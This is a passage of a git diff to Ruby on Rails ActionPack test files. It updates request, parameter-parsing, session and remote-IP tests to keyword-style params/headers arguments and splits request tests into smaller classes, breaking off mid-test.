-      "HTTP_X_FORWARDED_HOST" => "glu.ttono.us",
-      "HTTP_ACCEPT_CHARSET" => "UTF-8",
-      "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
-      "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
-      "HTTP_PRAGMA" => "no-cache",
-      "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
-      "PATH_INFO" => "/homepage/",
-      "HTTP_ACCEPT_LANGUAGE" => "en",
-      "HTTP_NEGOTIATE" => "trans",
-      "HTTP_HOST" => "glu.ttono.us:8007",
-      "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
-      "HTTP_FROM" => "googlebot",
-      "SERVER_PROTOCOL" => "HTTP/1.1",
-      "REDIRECT_URI" => "/dispatch.fcgi",
-      "SCRIPT_NAME" => "/dispatch.fcgi",
-      "SERVER_ADDR" => "207.7.108.53",
-      "REMOTE_ADDR" => "207.7.108.53",
-      "REMOTE_HOST" => "google.com",
-      "REMOTE_IDENT" => "kevin",
-      "REMOTE_USER" => "kevin",
-      "SERVER_SOFTWARE" => "lighttpd/1.4.5",
-      "HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes",
-      "HTTP_X_FORWARDED_SERVER" => "glu.ttono.us",
-      "REQUEST_URI" => "/admin",
-      "DOCUMENT_ROOT" => "/home/kevinc/sites/typo/public",
-      "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
-      "SERVER_PORT" => "8007",
-      "QUERY_STRING" => "",
-      "REMOTE_PORT" => "63137",
-      "GATEWAY_INTERFACE" => "CGI/1.1",
-      "HTTP_X_FORWARDED_FOR" => "65.88.180.234",
-      "HTTP_ACCEPT" => "*/*",
-      "SCRIPT_FILENAME" => "/home/kevinc/sites/typo/public/dispatch.fcgi",
-      "REDIRECT_STATUS" => "200",
-      "REQUEST_METHOD" => "GET"
-    }
-    @request = ActionDispatch::Request.new(@env)
-    # some Nokia phone browsers omit the space after the semicolon separator.
-    # some developers have grown accustomed to using comma in cookie values.
-    @alt_cookie_fmt_request = ActionDispatch::Request.new(@env.merge({"HTTP_COOKIE"=>"_session_id=c84ace847,96670c052c6ceb2451fb0f2;is_admin=yes"}))
-  end
-
-  private
-    def set_content_data(data)
-      @request.env['REQUEST_METHOD'] = 'POST'
-      @request.env['CONTENT_LENGTH'] = data.length
-      @request.env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-      @request.env['rack.input'] = StringIO.new(data)
-    end
-end
-
-class RackRequestTest < BaseRackTest
-  test "proxy request" do
-    assert_equal 'glu.ttono.us', @request.host_with_port
-  end
-
-  test "http host" do
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "rubyonrails.org:8080"
-    assert_equal "rubyonrails.org", @request.host
-    assert_equal "rubyonrails.org:8080", @request.host_with_port
-
-    @env['HTTP_X_FORWARDED_HOST'] = "www.firsthost.org, www.secondhost.org"
-    assert_equal "www.secondhost.org", @request.host
-  end
-
-  test "http host with default port overrides server port" do
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "rubyonrails.org"
-    assert_equal "rubyonrails.org", @request.host_with_port
-  end
-
-  test "host with port defaults to server name if no host headers" do
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env.delete "HTTP_HOST"
-    assert_equal "glu.ttono.us:8007", @request.host_with_port
-  end
-
-  test "host with port falls back to server addr if necessary" do
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env.delete "HTTP_HOST"
-    @env.delete "SERVER_NAME"
-    assert_equal "207.7.108.53", @request.host
-    assert_equal 8007, @request.port
-    assert_equal "207.7.108.53:8007", @request.host_with_port
-  end
-
-  test "host with port if http standard port is specified" do
-    @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:80"
-    assert_equal "glu.ttono.us", @request.host_with_port
-  end
-
-  test "host with port if https standard port is specified" do
-    @env['HTTP_X_FORWARDED_PROTO'] = "https"
-    @env['HTTP_X_FORWARDED_HOST'] = "glu.ttono.us:443"
-    assert_equal "glu.ttono.us", @request.host_with_port
-  end
-
-  test "host if ipv6 reference" do
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
-  end
-
-  test "host if ipv6 reference with port" do
-    @env.delete "HTTP_X_FORWARDED_HOST"
-    @env['HTTP_HOST'] = "[2001:1234:5678:9abc:def0::dead:beef]:8008"
-    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", @request.host
-  end
-
-  test "cgi environment variables" do
-    assert_equal "Basic", @request.auth_type
-    assert_equal 0, @request.content_length
-    assert_equal nil, @request.content_mime_type
-    assert_equal "CGI/1.1", @request.gateway_interface
-    assert_equal "*/*", @request.accept
-    assert_equal "UTF-8", @request.accept_charset
-    assert_equal "gzip, deflate", @request.accept_encoding
-    assert_equal "en", @request.accept_language
-    assert_equal "no-cache, max-age=0", @request.cache_control
-    assert_equal "googlebot", @request.from
-    assert_equal "glu.ttono.us", @request.host
-    assert_equal "trans", @request.negotiate
-    assert_equal "no-cache", @request.pragma
-    assert_equal "http://www.google.com/search?q=glu.ttono.us", @request.referer
-    assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", @request.user_agent
-    assert_equal "/homepage/", @request.path_info
-    assert_equal "/home/kevinc/sites/typo/public/homepage/", @request.path_translated
-    assert_equal "", @request.query_string
-    assert_equal "207.7.108.53", @request.remote_addr
-    assert_equal "google.com", @request.remote_host
-    assert_equal "kevin", @request.remote_ident
-    assert_equal "kevin", @request.remote_user
-    assert_equal "GET", @request.request_method
-    assert_equal "/dispatch.fcgi", @request.script_name
-    assert_equal "glu.ttono.us", @request.server_name
-    assert_equal 8007, @request.server_port
-    assert_equal "HTTP/1.1", @request.server_protocol
-    assert_equal "lighttpd", @request.server_software
-  end
-
-  test "cookie syntax resilience" do
-    cookies = @request.cookies
-    assert_equal "c84ace84796670c052c6ceb2451fb0f2", cookies["_session_id"], cookies.inspect
-    assert_equal "yes", cookies["is_admin"], cookies.inspect
-
-    alt_cookies = @alt_cookie_fmt_request.cookies
-    #assert_equal "c84ace847,96670c052c6ceb2451fb0f2", alt_cookies["_session_id"], alt_cookies.inspect
-    assert_equal "yes", alt_cookies["is_admin"], alt_cookies.inspect
-  end
-end
-
-class RackRequestParamsParsingTest < BaseRackTest
-  test "doesnt break when content type has charset" do
-    set_content_data 'flamenco=love'
-
-    assert_equal({"flamenco"=> "love"}, @request.request_parameters)
-  end
-
-  test "doesnt interpret request uri as query string when missing" do
-    @request.env['REQUEST_URI'] = 'foo'
-    assert_equal({}, @request.query_parameters)
-  end
-end
-
-class RackRequestNeedsRewoundTest < BaseRackTest
-  test "body should be rewound" do
-    data = 'foo'
-    @env['rack.input'] = StringIO.new(data)
-    @env['CONTENT_LENGTH'] = data.length
-    @env['CONTENT_TYPE'] = 'application/x-www-form-urlencoded; charset=utf-8'
-
-    # Read the request body by parsing params.
-    request = ActionDispatch::Request.new(@env)
-    request.request_parameters
-
-    # Should have rewound the body.
-    assert_equal 0, request.body.pos
-  end
-end
diff --git a/actionpack/test/dispatch/reloader_test.rb b/actionpack/test/dispatch/reloader_test.rb
index ce9ccfcee8..62e8197e20 100644
--- a/actionpack/test/dispatch/reloader_test.rb
+++ b/actionpack/test/dispatch/reloader_test.rb
@@ -3,6 +3,11 @@ require 'abstract_unit'
 class ReloaderTest < ActiveSupport::TestCase
   Reloader = ActionDispatch::Reloader
 
+  teardown do
+    Reloader.reset_callbacks :prepare
+    Reloader.reset_callbacks :cleanup
+  end
+
   def test_prepare_callbacks
     a = b = c = nil
     Reloader.to_prepare { |*args| a = b = c = 1 }
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index dba9ab688f..d77341bc64 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -23,6 +23,13 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
     )
   end
 
+  test "parses boolean and number json params for application json" do
+    assert_parses(
+      {"item" => {"enabled" => false, "count" => 10}},
+      "{\"item\": {\"enabled\": false, \"count\": 10}}", { 'CONTENT_TYPE' => 'application/json' }
+    )
+  end
+
   test "parses json params for application jsonrequest" do
     assert_parses(
       {"person" => {"name" => "David"}},
@@ -32,7 +39,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
 
   test "nils are stripped from collections" do
     assert_parses(
-      {"person" => nil},
+      {"person" => []},
       "{\"person\":[null]}", { 'CONTENT_TYPE' => 'application/json' }
     )
     assert_parses(
@@ -40,7 +47,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
       "{\"person\":[\"foo\",null]}", { 'CONTENT_TYPE' => 'application/json' }
     )
     assert_parses(
-      {"person" => nil},
+      {"person" => []},
       "{\"person\":[null, null]}", { 'CONTENT_TYPE' => 'application/json' }
     )
   end
@@ -49,7 +56,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
     with_test_routing do
       output = StringIO.new
       json = "[\"person]\": {\"name\": \"David\"}}"
-      post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => ActiveSupport::Logger.new(output)}
+      post "/parse", params: json, headers: { 'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => true, 'action_dispatch.logger' => ActiveSupport::Logger.new(output) }
       assert_response :bad_request
       output.rewind && err = output.read
       assert err =~ /Error occurred while parsing request parameters/
@@ -72,7 +79,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
 
   test 'raw_post is not empty for JSON request' do
     with_test_routing do
-      post '/parse', '{"posts": [{"title": "Post Title"}]}', 'CONTENT_TYPE' => 'application/json'
+      post '/parse', params: '{"posts": [{"title": "Post Title"}]}', headers: { 'CONTENT_TYPE' => 'application/json' }
       assert_equal '{"posts": [{"title": "Post Title"}]}', request.raw_post
     end
   end
@@ -80,7 +87,7 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest
   private
     def assert_parses(expected, actual, headers = {})
       with_test_routing do
-        post "/parse", actual, headers
+        post "/parse", params: actual, headers: headers
         assert_response :ok
         assert_equal(expected, TestController.last_request_parameters)
       end
@@ -139,7 +146,7 @@ class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest
   private
     def assert_parses(expected, actual, headers = {})
       with_test_routing(UsersController) do
-        post "/parse", actual, headers
+        post "/parse", params: actual, headers: headers
         assert_response :ok
         assert_equal(expected, UsersController.last_request_parameters)
         assert_equal(expected.merge({"action" => "parse"}), UsersController.last_parameters)
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
index 2a2f92b5b3..50f69c53cb 100644
--- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require 'abstract_unit'
 
 class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
@@ -8,7 +7,11 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
     end
 
     def parse
-      self.class.last_request_parameters = request.request_parameters
+      self.class.last_request_parameters = begin
+        request.request_parameters
+      rescue EOFError
+        {}
+      end
       self.class.last_parameters = request.parameters
       head :ok
     end
@@ -33,7 +36,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
   end
 
   test "parse single utf8 parameter" do
-    assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => 'Iñtërnâtiônàlizætiøn_value'}, 
+    assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => 'Iñtërnâtiônàlizætiøn_value'},
                  parse_multipart('single_utf8_param'), "request.request_parameters")
     assert_equal(
       'Iñtërnâtiônàlizætiøn_value',
@@ -41,8 +44,8 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
   end
 
   test "parse bracketed utf8 parameter" do
-    assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => { 
-      'Iñtërnâtiônàlizætiøn_nested_name' => 'Iñtërnâtiônàlizætiøn_value'} }, 
+    assert_equal({ 'Iñtërnâtiônàlizætiøn_name' => {
+      'Iñtërnâtiônàlizætiøn_nested_name' => 'Iñtërnâtiônàlizætiøn_value'} },
       parse_multipart('bracketed_utf8_param'), "request.request_parameters")
     assert_equal(
       {'Iñtërnâtiônàlizætiøn_nested_name' => 'Iñtërnâtiônàlizætiøn_value'},
@@ -130,13 +133,13 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
     with_test_routing do
       fixture = FIXTURE_PATH + "/mona_lisa.jpg"
       params = { :uploaded_data => fixture_file_upload(fixture, "image/jpg") }
-      post '/read', params
+      post '/read', params: params
     end
   end
 
   test "uploads and reads file" do
     with_test_routing do
-      post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
+      post '/read', params: { uploaded_data: fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain") }
       assert_equal "File: Hello", response.body
     end
   end
@@ -145,10 +148,10 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
   test "does not raise EOFError on GET request with multipart content-type" do
     with_routing do |set|
       set.draw do
-        get ':action', to: 'multipart_params_parsing_test/test'
+        get ':action', controller: 'multipart_params_parsing_test/test'
       end
       headers = { "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x" }
-      get "/parse", {}, headers
+      get "/parse", headers: headers
       assert_response :ok
     end
   end
@@ -165,7 +168,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
     def parse_multipart(name)
       with_test_routing do
         headers = fixture(name)
-        post "/parse", headers.delete("rack.input"), headers
+        post "/parse", params: headers.delete("rack.input"), headers: headers
         assert_response :ok
         TestController.last_request_parameters
       end
@@ -174,7 +177,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
     def with_test_routing
       with_routing do |set|
         set.draw do
-          post ':action', :to => 'multipart_params_parsing_test/test'
+          post ':action', :controller => 'multipart_params_parsing_test/test'
         end
         yield
       end
diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb
index f072a9f717..bc6716525e 100644
--- a/actionpack/test/dispatch/request/query_string_parsing_test.rb
+++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb
@@ -11,6 +11,17 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
       head :ok
     end
   end
+  class EarlyParse
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      # Trigger a Rack parse so that env caches the query params
+      Rack::Request.new(env).params
+      @app.call(env)
+    end
+  end
 
   def teardown
     TestController.last_query_parameters = nil
@@ -84,8 +95,8 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
     assert_parses({"action" => nil}, "action")
     assert_parses({"action" => {"foo" => nil}}, "action[foo]")
     assert_parses({"action" => {"foo" => { "bar" => nil }}}, "action[foo][bar]")
-    assert_parses({"action" => {"foo" => { "bar" => nil }}}, "action[foo][bar][]")
-    assert_parses({"action" => {"foo" => nil }}, "action[foo][]")
+    assert_parses({"action" => {"foo" => { "bar" => [] }}}, "action[foo][bar][]")
+    assert_parses({"action" => {"foo" => [] }}, "action[foo][]")
     assert_parses({"action"=>{"foo"=>[{"bar"=>nil}]}}, "action[foo][][bar]")
   end
 
@@ -93,6 +104,22 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
     assert_parses({"action" => ['1']}, "action[]=1&action[]")
   end
 
+  test "perform_deep_munge" do
+    old_perform_deep_munge = ActionDispatch::Request::Utils.perform_deep_munge
+    ActionDispatch::Request::Utils.perform_deep_munge = false
+    begin
+      assert_parses({"action" => nil}, "action")
+      assert_parses({"action" => {"foo" => nil}}, "action[foo]")
+      assert_parses({"action" => {"foo" => {"bar" => nil}}}, "action[foo][bar]")
+      assert_parses({"action" => {"foo" => {"bar" => [nil]}}}, "action[foo][bar][]")
+      assert_parses({"action" => {"foo" => [nil]}}, "action[foo][]")
+      assert_parses({"action" => {"foo" => [{"bar" => nil}]}}, "action[foo][][bar]")
+      assert_parses({"action" => ['1',nil]}, "action[]=1&action[]")
+    ensure
+      ActionDispatch::Request::Utils.perform_deep_munge = old_perform_deep_munge
+    end
+  end
+
   test "query string with empty key" do
     assert_parses(
       { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
@@ -120,7 +147,7 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
         get ':action', :to => ::QueryStringParsingTest::TestController
       end
 
-      get "/parse", nil, "QUERY_STRING" => "foo[]=bar&foo[4]=bar"
+      get "/parse", headers: { "QUERY_STRING" => "foo[]=bar&foo[4]=bar" }
       assert_response :bad_request
     end
   end
@@ -131,8 +158,11 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest
         set.draw do
           get ':action', :to => ::QueryStringParsingTest::TestController
         end
+        @app = self.class.build_app(set) do |middleware|
+          middleware.use(EarlyParse)
+        end
 
-        get "/parse", actual
+        get "/parse", params: actual
         assert_response :ok
         assert_equal(expected, ::QueryStringParsingTest::TestController.last_query_parameters)
       end
diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb
index 1517f96fdc..10fb04e230 100644
--- a/actionpack/test/dispatch/request/session_test.rb
+++ b/actionpack/test/dispatch/request/session_test.rb
@@ -36,29 +36,71 @@ module ActionDispatch
         assert_equal s, Session.find(env)
       end
 
+      def test_destroy
+        s = Session.create(store, {}, {})
+        s['rails'] = 'ftw'
+
+        s.destroy
+
+        assert_empty s
+      end
+
       def test_keys
-        env = {}
-        s = Session.create(store, env, {})
+        s = Session.create(store, {}, {})
         s['rails'] = 'ftw'
         s['adequate'] = 'awesome'
         assert_equal %w[rails adequate], s.keys
       end
 
       def test_values
-        env = {}
-        s = Session.create(store, env, {})
+        s = Session.create(store, {}, {})
         s['rails'] = 'ftw'
         s['adequate'] = 'awesome'
         assert_equal %w[ftw awesome], s.values
       end
 
       def test_clear
-        env = {}
-        s = Session.create(store, env, {})
+        s = Session.create(store, {}, {})
         s['rails'] = 'ftw'
         s['adequate'] = 'awesome'
+
         s.clear
-        assert_equal([], s.values)
+        assert_empty(s.values)
+      end
+
+      def test_update
+        s = Session.create(store, {}, {})
+        s['rails'] = 'ftw'
+
+        s.update(:rails => 'awesome')
+
+        assert_equal(['rails'], s.keys)
+        assert_equal('awesome', s['rails'])
+      end
+
+      def test_delete
+        s = Session.create(store, {}, {})
+        s['rails'] = 'ftw'
+
+        s.delete('rails')
+
+        assert_empty(s.keys)
+      end
+
+      def test_fetch
+        session = Session.create(store, {}, {})
+
+        session['one'] = '1'
+        assert_equal '1', session.fetch(:one)
+
+        assert_equal '2', session.fetch(:two, '2')
+        assert_nil session.fetch(:two, nil)
+
+        assert_equal 'three', session.fetch(:three) {|el| el.to_s }
+
+        assert_raise KeyError do
+          session.fetch(:three)
+        end
       end
 
       private
@@ -66,6 +108,7 @@ module ActionDispatch
         Class.new {
           def load_session(env); [1, {}]; end
           def session_exists?(env); true; end
+          def destroy_session(env, id, options); 123; end
         }.new
       end
     end
diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
index 9a77454f30..365edf849a 100644
--- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb
@@ -130,11 +130,8 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
   end
 
   test "ambiguous params returns a bad request" do
-    with_routing do |set|
-      set.draw do
-        post ':action', to: ::UrlEncodedParamsParsingTest::TestController
-      end
-      post "/parse", "foo[]=bar&foo[4]=bar"
+    with_test_routing do
+      post "/parse", params: "foo[]=bar&foo[4]=bar"
       assert_response :bad_request
     end
   end
@@ -151,7 +148,7 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest
 
     def assert_parses(expected, actual)
       with_test_routing do
-        post "/parse", actual
+        post "/parse", params: actual
         assert_response :ok
         assert_equal expected, TestController.last_request_parameters
         assert_utf8 TestController.last_request_parameters
diff --git a/actionpack/test/dispatch/request_id_test.rb b/actionpack/test/dispatch/request_id_test.rb
index a8050b4fab..a307483509 100644
--- a/actionpack/test/dispatch/request_id_test.rb
+++ b/actionpack/test/dispatch/request_id_test.rb
@@ -41,7 +41,7 @@ class RequestIdResponseTest < ActionDispatch::IntegrationTest
 
   test "request id given on request is passed all the way to the response" do
     with_test_route_set do
-      get '/', {}, 'HTTP_X_REQUEST_ID' => 'X' * 500
+      get '/', headers: { 'HTTP_X_REQUEST_ID' => 'X' * 500 }
       assert_equal "X" * 255, @response.headers["X-Request-Id"]
     end
   end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
index f6de9748ca..ee8e915610 100644
--- a/actionpack/test/dispatch/request_test.rb
+++ b/actionpack/test/dispatch/request_test.rb
@@ -1,12 +1,34 @@
 require 'abstract_unit'
 
-class RequestTest < ActiveSupport::TestCase
+class BaseRequestTest < ActiveSupport::TestCase
+  def setup
+    @env = {
+      :ip_spoofing_check => true,
+      :tld_length => 1,
+      "rack.input" => "foo"
+    }
+  end
 
   def url_for(options = {})
     options = { host: 'www.example.com' }.merge!(options)
     ActionDispatch::Http::URL.url_for(options)
   end
 
+  protected
+    def stub_request(env = {})
+      ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
+      @trusted_proxies ||= nil
+      ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies)
+      tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1
+      ip_app.call(env)
+      ActionDispatch::Http::URL.tld_length = tld_length
+
+      env = @env.merge(env)
+      ActionDispatch::Request.new(env)
+    end
+end
+
+class RequestUrlFor < BaseRequestTest
   test "url_for class method" do
     e = assert_raise(ArgumentError) { url_for(:host => nil) }
     assert_match(/Please provide the :host parameter/, e.message)
@@ -31,7 +53,9 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal 'http://www.example.com?params=',  url_for(:params => '')
     assert_equal 'http://www.example.com?params=1', url_for(:params => 1)
   end
+end
 
+class RequestIP < BaseRequestTest
   test "remote ip" do
     request = stub_request 'REMOTE_ADDR' => '1.2.3.4'
     assert_equal '1.2.3.4', request.remote_ip
@@ -93,6 +117,14 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal '1.1.1.1', request.remote_ip
   end
 
+  test "remote ip spoof protection ignores private addresses" do
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '172.17.19.51',
+                           'HTTP_CLIENT_IP'       => '172.17.19.51',
+                           'REMOTE_ADDR'          => '1.1.1.1',
+                           'HTTP_X_BLUECOAT_VIA'  => 'de462e07a2db325e'
+    assert_equal '1.1.1.1', request.remote_ip
+  end
+
   test "remote ip v6" do
     request = stub_request 'REMOTE_ADDR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334'
     assert_equal '2001:0db8:85a3:0000:0000:8a2e:0370:7334', request.remote_ip
@@ -120,9 +152,12 @@ class RequestTest < ActiveSupport::TestCase
     request = stub_request 'HTTP_X_FORWARDED_FOR' => 'unknown,::1'
     assert_equal nil, request.remote_ip
 
-    request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::'
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => '2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::, fc01::, fdff'
     assert_equal 'fe80:0000:0000:0000:0202:b3ff:fe1e:8329', request.remote_ip
 
+    request = stub_request 'HTTP_X_FORWARDED_FOR' => 'FE00::, FDFF::'
+    assert_equal 'FE00::', request.remote_ip
+
     request = stub_request 'HTTP_X_FORWARDED_FOR' => 'not_ip_address'
     assert_equal nil, request.remote_ip
   end
@@ -212,10 +247,12 @@ class RequestTest < ActiveSupport::TestCase
   end
 
   test "remote ip middleware not present still returns an IP" do
-    request = ActionDispatch::Request.new({'REMOTE_ADDR' => '127.0.0.1'})
+    request = stub_request('REMOTE_ADDR' => '127.0.0.1')
     assert_equal '127.0.0.1', request.remote_ip
   end
+end
 
+class RequestDomain < BaseRequestTest
   test "domains" do
     request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org'
     assert_equal "rubyonrails.org", request.domain
@@ -273,7 +310,9 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal [], request.subdomains
     assert_equal "", request.subdomain
   end
+end
 
+class RequestPort < BaseRequestTest
   test "standard_port" do
     request = stub_request
     assert_equal 80, request.standard_port
@@ -315,7 +354,9 @@ class RequestTest < ActiveSupport::TestCase
     request = stub_request 'HTTP_HOST' => 'www.example.org:8080'
     assert_equal ':8080', request.port_string
   end
+end
 
+class RequestPath < BaseRequestTest
   test "full path" do
     request = stub_request 'SCRIPT_NAME' => '', 'PATH_INFO' => '/path/of/some/uri', 'QUERY_STRING' => 'mapped=1'
     assert_equal "/path/of/some/uri?mapped=1", request.fullpath
@@ -346,6 +387,32 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal "/of/some/uri",               request.path_info
   end
 
+  test "original_fullpath returns ORIGINAL_FULLPATH" do
+    request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar")
+
+    path = request.original_fullpath
+    assert_equal "/foo?bar", path
+  end
+
+  test "original_url returns url built using ORIGINAL_FULLPATH" do
+    request = stub_request('ORIGINAL_FULLPATH' => "/foo?bar",
+                           'HTTP_HOST'         => "example.org",
+                           'rack.url_scheme'   => "http")
+
+    url = request.original_url
+    assert_equal "http://example.org/foo?bar", url
+  end
+
+  test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
+    request = stub_request('PATH_INFO'    => "/foo",
+                           'QUERY_STRING' => "bar")
+
+    path = request.original_fullpath
+    assert_equal "/foo?bar", path
+  end
+end
+
+class RequestHost < BaseRequestTest
   test "host with default port" do
     request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80'
     assert_equal "rubyonrails.org", request.host_with_port
@@ -356,15 +423,181 @@ class RequestTest < ActiveSupport::TestCase
     assert_equal "rubyonrails.org:81", request.host_with_port
   end
 
-  test "server software" do
-    request = stub_request
-    assert_equal nil, request.server_software
+  test "proxy request" do
+    request = stub_request 'HTTP_HOST' => 'glu.ttono.us:80'
+    assert_equal "glu.ttono.us", request.host_with_port
+  end
+
+  test "http host" do
+    request = stub_request 'HTTP_HOST' => "rubyonrails.org:8080"
+    assert_equal "rubyonrails.org", request.host
+    assert_equal "rubyonrails.org:8080", request.host_with_port
+
+    request = stub_request 'HTTP_X_FORWARDED_HOST' => "www.firsthost.org, www.secondhost.org"
+    assert_equal "www.secondhost.org", request.host
+  end
+
+  test "http host with default port overrides server port" do
+    request = stub_request 'HTTP_HOST' => "rubyonrails.org"
+    assert_equal "rubyonrails.org", request.host_with_port
+  end
+
+  test "host with port if http standard port is specified" do
+    request = stub_request 'HTTP_X_FORWARDED_HOST' => "glu.ttono.us:80"
+    assert_equal "glu.ttono.us", request.host_with_port
+  end
+
+  test "host with port if https standard port is specified" do
+    request = stub_request(
+      'HTTP_X_FORWARDED_PROTO' => "https",
+      'HTTP_X_FORWARDED_HOST' => "glu.ttono.us:443"
+    )
+    assert_equal "glu.ttono.us", request.host_with_port
+  end
+
+  test "host if ipv6 reference" do
+    request = stub_request 'HTTP_HOST' => "[2001:1234:5678:9abc:def0::dead:beef]"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+  end
+
+  test "host if ipv6 reference with port" do
+    request = stub_request 'HTTP_HOST' => "[2001:1234:5678:9abc:def0::dead:beef]:8008"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+  end
+end
+
+class RequestCGI < BaseRequestTest
+  test "CGI environment variables" do
+    request = stub_request(
+      "AUTH_TYPE" => "Basic",
+      "GATEWAY_INTERFACE" => "CGI/1.1",
+      "HTTP_ACCEPT" => "*/*",
+      "HTTP_ACCEPT_CHARSET" => "UTF-8",
+      "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
+      "HTTP_ACCEPT_LANGUAGE" => "en",
+      "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
+      "HTTP_FROM" => "googlebot",
+      "HTTP_HOST" => "glu.ttono.us:8007",
+      "HTTP_NEGOTIATE" => "trans",
+      "HTTP_PRAGMA" => "no-cache",
+      "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
+      "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
+      "PATH_INFO" => "/homepage/",
+      "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
+      "QUERY_STRING" => "",
+      "REMOTE_ADDR" => "207.7.108.53",
+      "REMOTE_HOST" => "google.com",
+      "REMOTE_IDENT" => "kevin",
+      "REMOTE_USER" => "kevin",
+      "REQUEST_METHOD" => "GET",
+      "SCRIPT_NAME" => "/dispatch.fcgi",
+      "SERVER_NAME" => "glu.ttono.us",
+      "SERVER_PORT" => "8007",
+      "SERVER_PROTOCOL" => "HTTP/1.1",
+      "SERVER_SOFTWARE" => "lighttpd/1.4.5",
+    )
+
+    assert_equal "Basic", request.auth_type
+    assert_equal 0, request.content_length
